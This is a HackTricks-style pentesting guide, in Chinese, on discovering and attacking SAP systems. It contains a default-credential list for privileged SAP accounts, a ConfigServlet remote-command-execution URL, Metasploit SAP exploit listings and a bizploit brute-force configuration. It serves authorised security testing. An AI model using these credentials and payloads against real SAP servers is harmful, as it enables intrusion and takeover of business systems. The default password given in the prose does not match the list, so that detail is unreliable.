hacktricks/network-services-pentesting/pentesting-sap.md

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# SAP简介
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SAP代表数据处理中的系统应用和产品。SAP从定义上来说既是ERP企业资源规划软件的名称也是公司的名称。
SAP系统由多个完全集成的模块组成几乎涵盖了业务管理的各个方面。
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每个SAP实例或SID由三层组成数据库、应用和表示层\)每个系统通常由四个实例组成开发、测试、QA和生产。
每个层面都可以在一定程度上被利用,但**攻击数据库**可以获得最大的效果。
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每个SAP实例被划分为客户端。每个客户端都有一个名为SAP\*的用户相当于应用程序中的“root”。
在初始创建时此用户SAP\*会获得一个默认密码“060719992”更多默认密码见下文
如果您知道在测试或开发环境中这些**密码经常没有更改**,您会感到惊讶!
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尝试使用用户名<SID>adm访问任何服务器的shell。
暴力破解可能有所帮助,但可能存在账户锁定机制。
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# 发现
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> 下一节主要来自[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)用户shipcod3的内容
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* 检查应用范围或程序简介以进行测试。注意主机名或系统实例以连接到SAP GUI。
* 如果应用程序面向互联网或公共使用OSINT开源情报、Shodan和Google Dorks检查文件、子域和有趣的信息
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```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* 这是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的页面
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![SAP 登录界面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
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* 使用 nmap 检查开放端口和已知服务sap 路由器webdnyproweb 服务web 服务器等)
* 如果有 web 服务器运行,请爬取 URL。
* 如果某些端口上有 web 服务器,请对目录进行模糊测试(可以使用 Burp Intruder。以下是 SecLists 项目提供的一些良好字典,用于查找默认 SAP ICM 路径和其他有趣的目录或文件:
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
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* 使用 SAP SERVICE DISCOVERY 辅助 Metasploit 模块来枚举 SAP 实例/服务/组件:
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```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
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Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
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msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
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## 测试厚客户端 / SAP GUI
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以下是连接到 SAP GUI 的命令
`sapgui <sap 服务器主机名> <系统编号>`
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* 检查默认凭据(在 Bugcrowd 的漏洞评级分类中,这被视为 P1 -&gt; 服务器安全配置错误 \| 使用默认凭据 \| 生产服务器):
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```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* 运行Wireshark然后使用获取的凭据对客户端SAP GUI进行身份验证因为一些客户端在没有SSL的情况下传输凭据。已知有两个Wireshark插件可以解析SAP DIAG协议使用的主要标头SecureAuth Labs SAP dissection插件和Positive Research Center的SAP DIAG插件。
* 检查特权升级例如低权限用户使用某些SAP事务代码tcodes
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* SU01 - 创建和维护用户
* SU01D - 显示用户
* SU10 - 用于大规模维护
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* SU02 - 手动创建配置文件
* SM19 - 安全审计 - 配置
* SE84 - SAP R/3授权信息系统
* 检查是否可以在客户端执行系统命令/运行脚本。
* 检查是否可以在BAPI Explorer上执行XSS
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# 测试Web界面
* 爬取URL参见发现阶段
* 像在发现阶段那样对URL进行模糊测试。这是[http://SAP:50000/index.html](http://sap:50000/index.html)的外观:
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![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
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* 寻找常见的Web漏洞参考OWASP十大因为某些地方存在XSS、RCE、XXE等漏洞。
* 查看Jason Haddix的[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)以测试Web漏洞。
* 通过动词篡改进行身份验证绕过?也许:\)
* 打开`http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`然后点击“Choose”按钮然后在打开的窗口中按“Search”。您应该能够看到SAP用户列表漏洞参考[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 凭据是否通过HTTP提交如果是则根据Bugcrowd的[漏洞评级分类](https://bugcrowd.com/vulnerability-rating-taxonomy)被视为P3基于HTTP的身份验证和会话管理不安全 \| 弱登录功能。提示:也可以查看[http://SAP:50000/startPage](http://sap:50000/startPage)或登录门户:\)
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![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
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* 尝试`/irj/go/km/navigation/`以查看可能的目录列表或身份验证绕过
* [http://SAP/sap/public/info](http://sap/sap/public/info)包含一些有趣的信息:
```xml
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
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<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
```
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# 攻击!
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* 检查是否在旧服务器或技术上运行如Windows 2000。
* 计划可能的利用/攻击有许多用于SAP发现辅助模块和利用的Metasploit模块
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```text
msf > search sap
Matching Modules
================
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Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
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```
* 尝试使用一些已知的漏洞查看Exploit-DB或攻击比如老但经典的“SAP ConfigServlet远程代码执行”在SAP门户中
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```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP配置Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
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* 在执行发现阶段的bizploit脚本的`start`命令之前,您还可以添加以下内容以执行漏洞评估:
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```text
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# 测试中其他有用的工具
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* [PowerSAP](https://github.com/airbus-seclab/powersap) - 用于评估 SAP 安全性的 Powershell 工具
* [Burp Suite](https://portswigger.net/burp) - 目录模糊测试和 Web 安全评估必备工具
* [pysap](https://github.com/SecureAuthCorp/pysap) - 用于构建 SAP 网络协议数据包的 Python 库
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - 帮助 nmap 检测 SAP/ERP
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## 参考资料
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* [使用 Metasploit 进行 SAP 渗透测试](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 用于半自动化执行 Bizploit 的脚本
* [SAP NetWeaver ABAP 安全配置第三部分:访问应用程序的默认密码](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [与 SAP 安全相关的 ABAP 事务代码列表](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [攻破 SAP 门户](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [前十大最有趣的 SAP 漏洞和攻击](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [使用 bizploit 评估 SAP 生态系统的安全性:发现](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
2020-11-23 18:00:25 +00:00
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
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